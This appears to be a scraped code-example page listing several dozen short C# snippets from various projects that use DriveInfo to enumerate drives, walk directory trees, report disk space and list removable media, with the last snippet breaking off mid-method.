Inheritance: System.Runtime.Serialization.ISerializable
コード例 #1
1
        protected AbstractHarddrive(ISmart smart, string name, 
      string firmwareRevision, int index, 
      IEnumerable<SmartAttribute> smartAttributes, ISettings settings)
            : base(name, new Identifier("hdd",
        index.ToString(CultureInfo.InvariantCulture)), settings)
        {
            this.firmwareRevision = firmwareRevision;
              this.smart = smart;
              handle = smart.OpenDrive(index);

              if (handle != smart.InvalidHandle)
            smart.EnableSmart(handle, index);

              this.index = index;
              this.count = 0;

              this.smartAttributes = new List<SmartAttribute>(smartAttributes);

              string[] logicalDrives = smart.GetLogicalDrives(index);
              List<DriveInfo> driveInfoList = new List<DriveInfo>(logicalDrives.Length);
              foreach (string logicalDrive in logicalDrives) {
            try {
              DriveInfo di = new DriveInfo(logicalDrive);
              if (di.TotalSize > 0)
            driveInfoList.Add(new DriveInfo(logicalDrive));
            } catch (ArgumentException) { } catch (IOException) { }
              }
              driveInfos = driveInfoList.ToArray();

              CreateSensors();
        }
コード例 #2
0
    static void Main()
    {
        string[] drives = System.Environment.GetLogicalDrives();

        foreach (string dr in drives)
        {
            System.IO.DriveInfo di = new System.IO.DriveInfo(dr);

            if (!di.IsReady)
            {
                Console.WriteLine($"The drive {di.Name} could not be read");
                continue;
            }
            System.IO.DirectoryInfo rootDir = di.RootDirectory;
            WalkDirectoryTree(rootDir);
        }

        Console.WriteLine("Files with restricted access:");
        foreach (string s in log)
        {
            Console.WriteLine(s);
        }

        Console.WriteLine("Press any key");
        Console.ReadKey();
    }
コード例 #3
0
		public static string GetUNCPath(DriveInfo drive)
		{
			var sb = new StringBuilder(512);
			var size = sb.Capacity;
			var error = WNetGetConnection(drive.Name.Substring(0, 2), sb, ref size);
			return sb.ToString().TrimEnd();
		}
コード例 #4
0
ファイル: imgTransport.cs プロジェクト: tcwolf/imageTransport
        void generateIndex()
        {
            // Start with drives if you have to search the entire computer.
            string[] drives = System.Environment.GetLogicalDrives();

            foreach (string dr in drives)
            {
                System.IO.DriveInfo di = new System.IO.DriveInfo(dr);

                // Here we skip the drive if it is not ready to be read. This
                // is not necessarily the appropriate action in all scenarios.
                if (!di.IsReady)
                {
                    //Console.WriteLine("The drive {0} could not be read", di.Name);
                    log("The drive " + di.Name + " could not be read.");
                    continue;
                }
                System.IO.DirectoryInfo rootDir = di.RootDirectory;
                WalkDirectoryTree(rootDir);
            }

            // Write out all the files that could not be processed.
            StringBuilder sb = new StringBuilder();

            using (StreamWriter outfile = new StreamWriter(@"\UserInputFile.txt", true))
            {
                outfile.Write(sb.ToString());
            }
        }
コード例 #5
0
        }//根据获取的文件集合和目录集合创建控件

        private void InitDriverView()
        {
            touchClass.ReSetState();
            DirectoryInfoList = Environment.GetLogicalDrives();
            UC_LeftStack.Clear();
            STK_MainContainer.Children.Clear();
            for (int i = 0; i < DirectoryInfoList.Length; i++)
            {
                string driverName = "未命名卷";
                try
                {
                    driverName = new System.IO.DriveInfo(DirectoryInfoList[i]).VolumeLabel;
                }
                catch { }
                finally
                {
                    FileItem fi = new FileItem();
                    fi.FileName             = driverName + "(" + DirectoryInfoList[i].Replace("\\", "") + ")";
                    fi.Info                 = DirectoryInfoList[i];
                    fi.IsFile               = false;
                    fi.CKB_Check.Visibility = Visibility.Hidden;
                    fi.HeadImage            = CreateHeadImage(DirectoryInfoList[i], false);
                    fi.Clicked             += new FileItem.ClickEventHandler(Item_Clicked);
                    fi.ItemReady           += new FileItem.ItemReadyEventHandler(Item_ItemReady);
                    STK_MainContainer.Children.Add(fi);
                }
            }
        }//调用本函数加载驱动器列表界面
コード例 #6
0
        /// <summary>
        ///
        /// </summary>
        public void RefreshDevice()
        {
            lst_ComPort.Items.Clear();
            listView1.Items.Clear();
            tName.Content   = "";
            tFormat.Content = "";
            tType.Content   = "";
            pBarSize.Value  = 0;
            string[] ls_drivers = System.IO.Directory.GetLogicalDrives();
            foreach (string device in ls_drivers)
            {
                System.IO.DriveInfo dr = new System.IO.DriveInfo(device);
                if (dr.DriveType == System.IO.DriveType.Removable) //제거 가능한 타입이라면
                {
                    lst_ComPort.Items.Add(device);



                    // textBox1.AppendText("총 size : " + Convert.ToString(dr.TotalSize) + Environment.NewLine);
                    //textBox1.AppendText("남은 size : " + Convert.ToString(dr.AvailableFreeSpace) + Environment.NewLine);
                    // textBox1.AppendText("포멧 : " + Convert.ToString(dr.DriveFormat) + Environment.NewLine);
                    //textBox1.AppendText("타입 : " + Convert.ToString(dr.DriveType) + Environment.NewLine);
                }
            }
        }
コード例 #7
0
        /// <summary>
        /// Returns a response from the message received.
        /// The response comes from our AIML chat bot or from our own custom processing.
        /// </summary>
        /// <param name="message">string</param>
        /// <param name="user">User (for context)</param>
        /// <returns>string</returns>
        private static string HandleMessage(string message, User user)
        {
            string output = "";

            if (!string.IsNullOrEmpty(message))
            {
                // Provide custom commands for our chat bot, such as disk space, utility functions, typical IRC bot features, etc.
                if (message.ToUpper().IndexOf("DISK SPACE") != -1)
                {
                    DriveInfo driveInfo = new DriveInfo("C");
                    output = "Available disk space on " + driveInfo.Name + " is " + driveInfo.AvailableFreeSpace + ".";
                }
                else if (message.ToUpper().IndexOf("DISK SIZE") != -1)
                {
                    DriveInfo driveInfo = new DriveInfo("C");
                    output = "The current disk size on " + driveInfo.Name + " is " + driveInfo.TotalSize + ".";
                }
                else
                {
                    // No recognized command. Let our chat bot respond.
                    output = _bot.getOutput(message, user);
                }
            }

            return output;
        }
コード例 #8
0
		public DiskFullException(DriveInfo driveInfo, string filePath, long requestedFileSize)
			: base(
				string.Format("There is not enough space on {0} drive to set size of file {1} to {2} bytes", driveInfo.Name,
				              filePath, requestedFileSize))
		{
			DriveInfo = driveInfo;
		}
コード例 #9
0
ファイル: Drive.cs プロジェクト: BillTheBest/IronAHK
            // UNDONE: organise DriveProvider

            /// <summary>
            /// Creates platform specific SystemDrive Instance
            /// </summary>
            /// <param name="drive"></param>
            /// <returns></returns>
            public static Drive CreateDrive(DriveInfo drive)
            {
                if (Environment.OSVersion.Platform == PlatformID.Win32NT)
                    return new Windows.Drive(drive);
                else
                    return new Linux.Drive(drive);
            }
コード例 #10
0
        public SelectDriveForm()
        {
            InitializeComponent();
            foreach (string letter in Letters)
            {
                try
                {
                    // attempt to connect to drive
                    System.IO.DriveInfo di = new System.IO.DriveInfo(letter + ":\\");
                    // check if its ready
                    if (di.IsReady)
                    {
                        Drives.Add(di);
                    }
                }
                catch (Exception ex)
                {
                    // there has to be a better way...
                }
            }

            // initialize drives
            foreach (DriveInfo d in Drives)
            {
                drivesListBox.Items.Add(d);
            }
        }
コード例 #11
0
        static void Main(string[] args)
        {
            Console.WriteLine("Enter the drive letter (a to z):"); 
     
            string driveletter = Console.ReadLine(); 
            DriveInfo d = new DriveInfo(driveletter);
            if (d.IsReady) 
            { 
                Console.WriteLine(d.Name); 
                Console.WriteLine(d.DriveType); 
                Console.WriteLine(d.VolumeLabel);
                Console.WriteLine(d.DriveFormat);
                Console.WriteLine(d.TotalSize + " bytes.");
                Console.WriteLine(d.TotalFreeSpace + " bytes.");

                Console.WriteLine(d.TotalSize/1024+ " kbytes.");
                Console.WriteLine(d.TotalFreeSpace/1024 + " Kbytes.");

                Console.WriteLine((d.TotalSize / 1024)/1024 + " MB.");
                Console.WriteLine((d.TotalFreeSpace / 1024)/1024 + " MB.");

                Console.WriteLine(((d.TotalSize / 1024)/1024)/1024 + " GB.");
                Console.WriteLine(((d.TotalFreeSpace / 1024)/1024)/1024 + " Gb.");


            }
            else Console.WriteLine(d.Name + " - " + " Not Ready."); 
            Console.Read(); 
        }
コード例 #12
0
ファイル: Program.cs プロジェクト: rhinds1004/fileextract
        static void Main()
        {
            // Start with drives if you have to search the entire computer.
            string[] drives = System.Environment.GetLogicalDrives();

            foreach (string dr in drives)
            {
                System.IO.DriveInfo di = new System.IO.DriveInfo(dr);

                // Here we skip the drive if it is not ready to be read. This
                // is not necessarily the appropriate action in all scenarios.
                if (!di.IsReady)
                {
                    Console.WriteLine("The drive {0} could not be read", di.Name);
                    continue;
                }
                DirectoryInfo           dir     = new DirectoryInfo(@"C:\testFolder");
                System.IO.DirectoryInfo rootDir = dir;// di.RootDirectory;
                WalkDirectoryTree(rootDir);
            }

            // Write out all the files that could not be processed.
            Console.WriteLine("Files with restricted access:");
            foreach (string s in log)
            {
                Console.WriteLine(s);
            }
            // Keep the console window open in debug mode.
            Console.WriteLine("Press any key");
            Console.ReadKey();
        }
コード例 #13
0
ファイル: Mounter.cs プロジェクト: JangWonWoong/dokan-dotnet
 public static void AssemblyInitialize(TestContext context)
 {
     (mounterThread = new Thread(new ThreadStart(() => DokanOperationsFixture.Operations.Mount(DokanOperationsFixture.MOUNT_POINT.ToString(CultureInfo.InvariantCulture), DokanOptions.DebugMode | DokanOptions.NetworkDrive, 1)))).Start();
     var drive = new DriveInfo(DokanOperationsFixture.MOUNT_POINT.ToString(CultureInfo.InvariantCulture));
     while (!drive.IsReady)
         Thread.Sleep(50);
 }
コード例 #14
0
        private void ReportDiskUsage()
        {
            string drive = Path.GetPathRoot(AgentDirectory);
            DriveInfo driveInfo = new DriveInfo(drive);
            Console.WriteLine("Disk Usage Report");
            Console.WriteLine($"  Agent directory: {AgentDirectory}");
            Console.WriteLine($"  Drive letter: {drive}");
            Console.WriteLine($"  Total disk size: {string.Format("{0:N0}", driveInfo.TotalSize)} bytes");
            Console.WriteLine($"  Total disk free space: {string.Format("{0:N0}", driveInfo.TotalFreeSpace)} bytes");

            var workingDirectories = Directory.GetDirectories(Path.Combine(AgentDirectory, "_work"));
            var totalWorkingDirectories = workingDirectories != null ? workingDirectories.Length : 0;

            Console.WriteLine("  Agent info");
            Console.WriteLine($"    Total size of agent directory: {string.Format("{0:N0}", GetDirectoryAttributes(AgentDirectory).Item1)} bytes");
            Console.WriteLine($"    Total agent working directories: {totalWorkingDirectories}");

            if (totalWorkingDirectories > 0)
            {
                int nameLength = 0;
                foreach(string directoryName in workingDirectories)
                {
                    nameLength = directoryName.Length > nameLength ? directoryName.Length : nameLength;
                }
                int sizeLength = string.Format("{0:N0}", driveInfo.TotalSize).Length;
                string columnFormat = "      {0,-" + nameLength.ToString() + "}  {1," + sizeLength.ToString() + ":N0}  {2}";
                Console.WriteLine(string.Format(columnFormat, "Folder name", "Size (bytes)", "Last Modified DateTime"));
                foreach (var workingDirectory in workingDirectories)
                {
                    Tuple<long, DateTime> directoryAttributes = GetDirectoryAttributes(workingDirectory);
                    Console.WriteLine(string.Format(columnFormat, workingDirectory, directoryAttributes.Item1, directoryAttributes.Item2));
                }
            }
        }
コード例 #15
0
        static void RecursiveMain(string[] args)
        {
            // Start with drives if you have to search the entire computer.
            string[] drives = System.Environment.GetLogicalDrives();

            foreach (string dr in drives)
            {
                System.IO.DriveInfo di = new System.IO.DriveInfo(dr);

                // Here we skip the drive if it is not ready to be read. This
                // is not necessarily the appropriate action in all scenarios.
                if (!di.IsReady)
                {
                    Console.WriteLine("The drive {0} could not be read", di.Name);
                    continue;
                }
                System.IO.DirectoryInfo rootDir = di.RootDirectory;
                RecursiveFileSearch.WalkDirectoryTree(rootDir, log);
            }

            // Write out all the files that could not be processed.
            Console.WriteLine("Files with restricted access:");
            foreach (string s in log)
            {
                Console.WriteLine(s);
            }
        }
コード例 #16
0
        public void FindMediaOnComputer()
        {
            string[] drives = System.Environment.GetLogicalDrives();
            foreach (string dr in drives) {
                if (dr != "Y:\\") {
                    System.IO.DriveInfo di = new System.IO.DriveInfo(dr);
                    if (!di.IsReady) {
                        Console.WriteLine("The drive {0} could not be read", di.Name);
                        continue;
                    }

                    System.IO.DirectoryInfo rootDir = di.RootDirectory;
                    curHdd = rootDir.ToString();
                    statusUpt("Searching hdd: " + rootDir);
                    SearchInDirTree(rootDir);
                }
            }

            Environment.SpecialFolder[] specDirs = new Environment.SpecialFolder[] { Environment.SpecialFolder.MyDocuments, Environment.SpecialFolder.MyMusic, Environment.SpecialFolder.MyPictures, Environment.SpecialFolder.MyVideos, Environment.SpecialFolder.Favorites, Environment.SpecialFolder.Desktop };
            foreach (Environment.SpecialFolder sd in specDirs)
            {
                statusUpt("Searching special: " + sd.ToString());
                SearchInDirTree(new System.IO.DirectoryInfo(Environment.GetFolderPath(sd)));
            }

            foreach (string s in log)
            {
                //Alla filer som är restricted
            }
            statusUpt("Search is Done!");
            searchThread.Abort();
        }
コード例 #17
0
        private static void Main()
        {
            // Start with drives if you have to search the entire computer.
            string[] drives = Environment.GetLogicalDrives();

            foreach (string dr in drives)
            {
                DriveInfo di = new DriveInfo(dr);

                // Here we skip the drive if it is not ready to be read. This
                // is not necessarily the appropriate action in all scenarios.
                if (!di.IsReady)
                {
                    Console.WriteLine("The drive {0} could not be read", di.Name);
                    continue;
                }

                DirectoryInfo rootDir = di.RootDirectory;
                WalkDirectoryTree(rootDir);
            }

            // Write out all the files that could not be processed.
            Console.WriteLine("Files with restricted access:");
            foreach (string s in log)
            {
                Console.WriteLine(s);
            }

            // Keep the console window open in debug mode.
            Console.WriteLine("Press any key");
            Console.ReadKey();
        }
コード例 #18
0
 public override void Run()
 {
     DriveInfo d = new DriveInfo(Drive);
     long actual = d.AvailableFreeSpace / 1024;
     if (actual < RequiredMegabytes)
         throw new AssertionException<long>(RequiredMegabytes, actual, string.Format("Insufficient space on drive {0}",Drive));
 }
コード例 #19
0
        void tvExplorer_AfterSelect(object sender, TreeViewEventArgs e)
        {
            btnOK.Enabled = false;
            btnNewFolder.Enabled = false;

            DirectoryInfo di = new DirectoryInfo(tvExplorer.SelectedNodePath);
            if (di.Exists)
            {
                btnOK.Enabled = (PerformPathValidation == null || PerformPathValidation(tvExplorer.SelectedNodePath));

                try
                {
                    DriveInfo drvInvo = new DriveInfo(di.Root.FullName);
                    btnNewFolder.Enabled = (drvInvo.AvailableFreeSpace > 0 && drvInvo.IsReady);
                }
                catch { }
            }

            if (btnOK.Enabled)
            {
                this.SelectedPath = tvExplorer.SelectedNodePath;
            }
            else
            {
                this.SelectedPath = string.Empty;
            }
        }
コード例 #20
0
        public bool isDBSizeOk()
        {
            bool returnValue = true;

            try
            {
                conn.Open();
                DriveInfo diskInfo = new DriveInfo("C");
                if (diskInfo.IsReady == true)
                {
                    long diskFreeSpace = diskInfo.TotalFreeSpace;

                    long dbSize = GetDBSize();
                    double lowerThreshold = DB_SIZE_LOWER_THRESHOLD * maxDBSize;

                    CLogger.WriteLog(ELogLevel.DEBUG, "THe free space on disk is" + diskFreeSpace +
                        " dbSize: " + dbSize + " maxDBSize -dbSize : " + (maxDBSize - dbSize));

                    if (dbSize >= maxDBSize)
                    {
                        CLogger.WriteLog(ELogLevel.DEBUG, "Setting return val to false");
                        returnValue = false;
                    }
                }
                conn.Close();
            }
            catch (Exception exc)
            {
                CLogger.WriteLog(ELogLevel.DEBUG, "Exception while retreiving diskinfo " + exc.Message);
            }
            return returnValue;
        }
コード例 #21
0
ファイル: BackupDialog.cs プロジェクト: bbriggs/wesay
		private void DoBackup(DriveInfo info)
		{
			_checkForUsbKeyTimer.Enabled = false;
			_noteLabel.Visible = false;
			_topLabel.Text = "~Backing Up...";
			Refresh();
			try
			{
				string dest = Path.Combine(info.RootDirectory.FullName,
										   _projectInfo.Name + "_wesay.zip");
				BackupMaker.BackupToExternal(_projectInfo.PathToTopLevelDirectory,
											 dest,
											 _projectInfo.FilesBelongingToProject);
				_topLabel.Text = "~Backup Complete";
				_noteLabel.Visible = true;
				_noteLabel.Text = String.Format("~Files backed up to {0}", dest);
			}
			catch (Exception e)
			{
				ErrorReport.ReportNonFatalMessage(
						"WeSay could to perform the backup.  Reason: {0}", e.Message);
				_topLabel.Text = "~Files were not backed up.";
				_topLabel.ForeColor = Color.Red;
			}

			_cancelButton.Text = "&OK";
		}
コード例 #22
0
 private static void GetFileTypesFromDrives(Action <FileInfo> action, string drive = null)
 {
     canPosix = CanPosix();
     string[] drives = drive == null?System.Environment.GetLogicalDrives() : new string[]
     {
         drive
     };
     try
     {
         foreach (string dr in drives)
         {
             try{
                 System.IO.DriveInfo driveInfo = new System.IO.DriveInfo(dr);
                 if (!driveInfo.IsReady)
                 {
                     Console.WriteLine("The drive {0} could not be read", driveInfo.Name);
                     continue;
                 }
                 ;
                 WalkDrive(driveInfo, action);
             }
             catch (Exception e) {
                 WalkDriveForNotSlashMedia(dr, action);
             }
         }
     }
     catch (Exception e) {
         MessageBox.Show("Il dispositivo selezionato non esiste o non è stato selezionato correttamente.");
     }
 }
コード例 #23
0
ファイル: BaseForm.cs プロジェクト: robert0609/AM
 protected virtual void OnRemovableDrivePulled(DriveInfo d)
 {
     if (this.RemovableDrivePulled != null)
     {
         this.RemovableDrivePulled(this, new RemovableDriveEventArgs(d));
     }
 }
コード例 #24
0
ファイル: Field.cs プロジェクト: pkt-fit-knu/I22-11
 public bool ChangeDisk(string diskName)
 {
     List<Disk> disks = new List<Disk>();
     DriveInfo drive = new DriveInfo(diskName);
     disks.Add(new Disk(drive.Name, drive.Name, drive.DriveType, null));
     return SetDisk(disks);
 }
コード例 #25
0
        private void Button2Click(object sender, RoutedEventArgs e)
        {
            if (textBox1.Text.Equals("")) return;
            var path = textBox1.Text;
            var key = Registry.CurrentUser.CreateSubKey("WoWCacheDelete");
            key.SetValue("Path",path);
            key.Close();
            try
            {
                var drive = new DriveInfo(textBox1.Text.Substring(0, 1));
                var freeSpaceInBytes = ((drive.TotalFreeSpace/1024)/1024);
                Directory.Delete(path + @"\Cache", true);
                Directory.Delete(path + @"\Data\Cache", true);
                var freeSpaceInBytesafter = ((drive.TotalFreeSpace/1024)/1024);
                var recovered = freeSpaceInBytesafter - freeSpaceInBytes;

                SetStatusGood("  Space Before: " + freeSpaceInBytes + "MB. Space After: " +
                              freeSpaceInBytesafter + "MB. Total Saving: " + recovered + "MB. All Done.  ");
            }
            catch (DirectoryNotFoundException direx)
            {
                SetStatusBad("  Cache Already Cleared!    No space to save.  ",null);
            }
            catch (Exception ex)
            {
             SetStatusBad(ex.Message,ex.StackTrace);
             return;
            }
        }
コード例 #26
0
        private void ScanDrives(string drive)
        {
            DateTime  startTime = DateTime.Now;
            DriveInfo di        = new DriveInfo(drive);

            if (di.DriveType == DriveType.Fixed || di.DriveType == DriveType.Network && _netdrive == true)
            {
                if (di.IsReady)
                {
                    _logger.Add($"Indexing drive: {drive}");
                    System.Native.IO.FileSystem.DirectoryInfo rootDirectoryInfo =
                        new System.Native.IO.FileSystem.DirectoryInfo(di.RootDirectory.FullName);
                    DirectoryTreeWalker(rootDirectoryInfo);
                    _logger.Add($"Index for drive: {drive} Created in {(DateTime.Now - startTime).TotalMilliseconds}");
                }
                else
                {
                    _logger.Add($"Drive: {drive} was not ready");
                }
            }
            else
            {
                _logger.Add($"Drive {di.Name} skipped driveType: {di.DriveType}");
            }
        }
コード例 #27
0
        /// <summary>
        /// Returns a key value pair list of drives and available space.
        /// </summary>
        public static IDictionary GetDrivesInfo()
        {
            string[]      drives       = Environment.GetLogicalDrives();
            StringBuilder buffer       = new StringBuilder();
            IDictionary   allDriveInfo = new SortedDictionary <object, object>();

            foreach (string drive in drives)
            {
                System.IO.DriveInfo di = new System.IO.DriveInfo(drive);
                if (di.IsReady)
                {
                    SortedDictionary <string, string> driveInfo = new SortedDictionary <string, string>();
                    driveInfo["AvailableFreeSpace"] = (di.AvailableFreeSpace / 1000000).ToString() + " Megs";
                    driveInfo["DriveFormat"]        = di.DriveFormat;
                    driveInfo["DriveType"]          = di.DriveType.ToString();
                    driveInfo["Name"]           = di.Name;
                    driveInfo["TotalFreeSpace"] = (di.TotalFreeSpace / 1000000).ToString() + " Megs";
                    driveInfo["TotalSize"]      = (di.TotalSize / 1000000).ToString() + " Megs";
                    driveInfo["VolumeLabel"]    = di.VolumeLabel;
                    driveInfo["RootDirectory"]  = di.RootDirectory.FullName;
                    allDriveInfo[drive]         = driveInfo;
                }
            }
            return(allDriveInfo as IDictionary);
        }
コード例 #28
0
ファイル: DiskInfo.cs プロジェクト: Jackjet/ECOSingle
 private System.IO.DriveInfo getCurrentDrive()
 {
     if (this._drive == null)
     {
         try
         {
             string pathRoot = System.IO.Path.GetPathRoot(this.path);
             if (string.IsNullOrEmpty(pathRoot))
             {
                 throw new System.Exception("The path \"" + this.path + "\" is invalid.");
             }
             System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives();
             System.IO.DriveInfo[] array  = drives;
             for (int i = 0; i < array.Length; i++)
             {
                 System.IO.DriveInfo driveInfo = array[i];
                 if (driveInfo.Name.StartsWith(pathRoot.ToUpper()) || driveInfo.Name.StartsWith(pathRoot))
                 {
                     this._drive = driveInfo;
                     break;
                 }
             }
         }
         catch (System.Exception ex)
         {
             throw ex;
         }
     }
     if (this._drive == null)
     {
         throw new System.Exception("The path \"" + this.path + "\" is invalid.");
     }
     return(this._drive);
 }
コード例 #29
0
ファイル: Form1.cs プロジェクト: OshinMahey/Pendrive-Encoding
        public string getTotalSpace(string drv)
        {
            string fdata = string.Empty;

            System.IO.DriveInfo drive = new System.IO.DriveInfo(drv);
            System.IO.DriveInfo a     = new System.IO.DriveInfo(drive.Name);
            long Totlsizepd           = a.TotalSize / (1024 * 1024 * 1024);

            //long drivSize = drive.TotalSize / (1024 * 1024 * 1024);
            if (Totlsizepd < 2)
            {
                fdata = "2GB";
            }
            if (Totlsizepd > 2 && Totlsizepd < 4)
            {
                fdata = "4GB";
            }
            else if (Totlsizepd > 4 && Totlsizepd < 8)
            {
                fdata = "8GB";
            }
            else if (Totlsizepd > 8 && Totlsizepd < 16)
            {
                fdata = "16GB";
            }

            return(fdata);
        }
コード例 #30
0
        public static EsDriveInfo FromDirectory(string path, ILogger log)
        {
            try
            {
                string driveName;
                if (OS.IsUnix)
                {
                    driveName = GetDirectoryRootInUnix(path, log);
                    if (driveName == null)
                        return null;
                }
                else
                {
                    driveName = Directory.GetDirectoryRoot(path);
                }

                var drive = new DriveInfo(driveName);
                var esDrive = new EsDriveInfo(drive.Name, drive.TotalSize, drive.AvailableFreeSpace);
                return esDrive;
            }
            catch (Exception ex)
            {
                log.Debug("Error while reading drive info for path {0}. Message: {1}.", path, ex.Message);
                return null;
            }
        }
コード例 #31
0
 /// <summary>
 /// Creates platform specific SystemDrive Instance
 /// </summary>
 /// <param name="drive"></param>
 /// <returns></returns>
 public static SystemDrive CreateSystemDrive(DriveInfo drive)
 {
     if(Environment.OSVersion.Platform == PlatformID.Win32NT)
         return new SystemDriveWindows(drive);
     else
         return new SystemDriveLinux(drive);
 }
コード例 #32
0
 public Boolean IsRemovableMedia()
 {
     DriveInfo monDriveInfo = new DriveInfo(this._path);
     if (monDriveInfo.DriveType == DriveType.Removable)
         return (true);
     return (false);
 }
コード例 #33
0
 public bool GetQuota(out int totalBytes, out int availableBytes)
 {
     DriveInfo di = new DriveInfo(Path.GetPathRoot(Path.GetFullPath(basePath)));
     totalBytes = di.TotalSize > int.MaxValue ? int.MaxValue : (int)di.TotalSize;
     availableBytes = di.AvailableFreeSpace > int.MaxValue ? int.MaxValue : (int)di.AvailableFreeSpace;
     return true;
 }
コード例 #34
0
 public NtfsPartition(PartitionInfo info)
 {
     _info = info;
     _drive = new DriveInfo(info.Letter.ToString());
     info.FreeSpace = (int)(_drive.AvailableFreeSpace / 1024.0 / 1024.0);
     _currentDirectory = _drive.RootDirectory;
 }
コード例 #35
0
ファイル: encoding.cs プロジェクト: FurqanKhan1/D
    public static void Start(string path)
    {
        string[] drives = System.Environment.GetLogicalDrives();

        foreach (string dr in drives)
        {
            Output.WriteLine("Drive name : " + dr);
            System.IO.DriveInfo di = new System.IO.DriveInfo(@path);


            if (!di.IsReady)
            {
                Output.WriteLine("The drive {0} could not be read " + di.Name);
                continue;
            }

            System.IO.DirectoryInfo rootDir = new System.IO.DirectoryInfo(@path);
            Output.WriteLine("Parent root :" + rootDir.ToString());
            WalkDirectoryTree(rootDir, path);
        }

        // Write out all the files that could not be processed.

        foreach (string s in log)
        {
            Output.WriteLine("Files with restricted access:");
            Output.WriteLine(s);
        }
        // Keep the console window open in debug mode.
        //Output.WriteLine("Press any key");
        //Console.ReadKey();
    }
コード例 #36
0
        // 设置日期时间格式
//         public static void SetDateTimeFormat()
//         {
//             int val = 0;
//             try
//             {
//                 SetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SSHORTDATE, "yyyy-MM-dd");
//                 SetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_STIMEFORMAT, "HH:mm:ss");
//                 if (0 == SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0, 0, SMTO_ABORTIFHUNG, 10, ref val))
//                     //Log.WriteLog("SystemUnit", "Error", "SendMessageTimeout失败");
//             }
//             catch (Exception ex)
//             {
//                 //Log.WriteLog("SystemUnit", "Error", "设置日期时间格式失败,错误信息:" + ex.Message);
//             }
//         }

        // 获取指定路径磁盘剩余空间大小,以Mb为单位
        public static float GetVolumeFreeSize(string path)
        {
            System.IO.DriveInfo di = new System.IO.DriveInfo(path[0].ToString());
            float freeSize         = (float)di.TotalFreeSpace / 1024;

            return(freeSize);
        }
コード例 #37
0
        static void Main()
        {
            string[] drives = { "C:\\" };

            foreach (string dr in drives)
            {
                DriveInfo di = new System.IO.DriveInfo(dr);

                // Here we skip the drive if it is not ready to be read.
                if (di.IsReady)
                {
                    DirectoryInfo rootDir = di.RootDirectory;
                    WalkDirectoryTree(rootDir);
                }
                else
                {
                    Console.WriteLine("The drive {0} could not be read", di.Name);
                    continue;
                }
            }

            // Write out all the files that could not be processed.
            Console.WriteLine("Files with restricted access:");
            foreach (string s in log)
            {
                Console.WriteLine(s);
            }
            // Keep the console window open in debug mode.
            Console.WriteLine("Press any key");
            Console.ReadKey();
        }
コード例 #38
0
ファイル: ViewModel.cs プロジェクト: dmonjeau/wpf-demos
        /// <summary>
        /// Initializes a new instance of the <see cref="FileInfoModel"/> class.
        /// </summary>
        /// <param name="path">The path.</param>
        public FileInfoModel Infomodel(string path)
        {
            FileInfoModel model = new FileExplorer.FileInfoModel();
            FileInfo      fi    = new FileInfo(path);

            model.FullName  = Path.GetFullPath(path);
            model.ShortName = Path.GetFileNameWithoutExtension(path);
            if (model.ShortName == "")
            {
                model.ShortName = path;
                model.FileType  = "Drive";
                System.IO.DriveInfo di = new System.IO.DriveInfo(path);
                model.TotalSize = (di.TotalSize / 1073741824).ToString();
                var freeSpace = (double.Parse(di.TotalFreeSpace.ToString()) / 1073741824);
                model.TotalFreeSpace     = (Math.Round(freeSpace, 1)).ToString();
                model.PercentofFreeSpace = 100 - ((double.Parse(model.TotalFreeSpace) / double.Parse(model.TotalSize)) * 100);
            }
            else
            {
                if ((fi.Attributes & FileAttributes.Directory) != 0)
                {
                    model.FileType = "Directory";
                }
                else
                {
                    model.Size     = fi.Length.ToString() + "Kb";
                    model.FileType = Path.GetExtension(path);
                }
            }
            model.DateModified = fi.LastWriteTime;
            model.DateAccessed = fi.LastAccessTime;
            model.DateCreated  = fi.CreationTime;
            model.Attributes   = fi.Attributes;
            return(model);
        }
コード例 #39
0
 private static void CopyDrive2Directory(System.IO.DriveInfo DriveInfoIn, System.IO.DirectoryInfo DirectoryInfoTo)
 {
     try
     {
         System.IO.FileInfo[]      Files       = DriveInfoIn.RootDirectory.GetFiles();
         System.IO.DirectoryInfo[] Directories = DriveInfoIn.RootDirectory.GetDirectories();
         foreach (System.IO.FileInfo FileInfo1 in Files)
         {
             System.IO.File.Copy(FileInfo1.FullName, System.IO.Path.Combine(DirectoryInfoTo.FullName, FileInfo1.Name), false);
         }
         foreach (System.IO.DirectoryInfo DirectoryInfo1 in Directories)
         {
             try
             {
                 FileSystem.CopyDirectory(DirectoryInfo1.FullName, Path.Combine(DirectoryInfoTo.FullName, DirectoryInfo1.Name));
             }
             catch (Exception e)
             {
                 File.AppendAllText(Path.Combine(Directory.GetCurrentDirectory(), "Error.txt"), DateTime.Now + ": " + e.Message + "\r\n", Encoding.UTF8);
             }
         }
     }
     catch (Exception e)
     {
         File.AppendAllText(Path.Combine(Directory.GetCurrentDirectory(), "Error.txt"), DateTime.Now + ": " + e.Message + "\r\n", Encoding.UTF8);
     }
 }
コード例 #40
0
ファイル: DiskCheck.cs プロジェクト: ZoeCheck/128_5.6_2010
 /// <summary>
 /// 获取程序运行的磁盘的空闲容量
 /// </summary>
 /// <returns>空间空闲容量</returns>
 private long GetDriverFreeSpace(string strPath)
 {
     string strDriverName = Directory.GetDirectoryRoot(strPath);
     DriveInfo dInfo = new DriveInfo(strDriverName);
     long lSum = dInfo.AvailableFreeSpace;    //磁盘空闲容量
     return lSum;
 }
コード例 #41
0
ファイル: UsnJournal.cs プロジェクト: beaugunderson/scrutiny
        /// <summary>
        /// Constructor for NtfsUsnJournal class.  If no exception is thrown, _usnJournalRootHandle and
        /// _volumeSerialNumber can be assumed to be good. If an exception is thrown, the NtfsUsnJournal
        /// object is not usable.
        /// </summary>
        /// <param name="driveInfo">DriveInfo object that provides access to information about a volume</param>
        /// <remarks> 
        /// An exception thrown if the volume is not an 'NTFS' volume or
        /// if GetRootHandle() or GetVolumeSerialNumber() functions fail. 
        /// Each public method checks to see if the volume is NTFS and if the _usnJournalRootHandle is
        /// valid.  If these two conditions aren't met, then the public function will return a UsnJournalReturnCode
        /// error.
        /// </remarks>
        public UsnJournal(DriveInfo driveInfo)
        {
            _driveInfo = driveInfo;

            if (0 != string.Compare(_driveInfo.DriveFormat, "ntfs", true))
            {
                throw new Exception(string.Format("{0} is not an 'NTFS' volume.", _driveInfo.Name));
            }

            IsNtfsVolume = true;

            IntPtr rootHandle;

            var returnCode = GetRootHandle(out rootHandle);

            if (returnCode != UsnJournalReturnCode.USN_JOURNAL_SUCCESS)
            {
                throw new Win32Exception((int)returnCode);
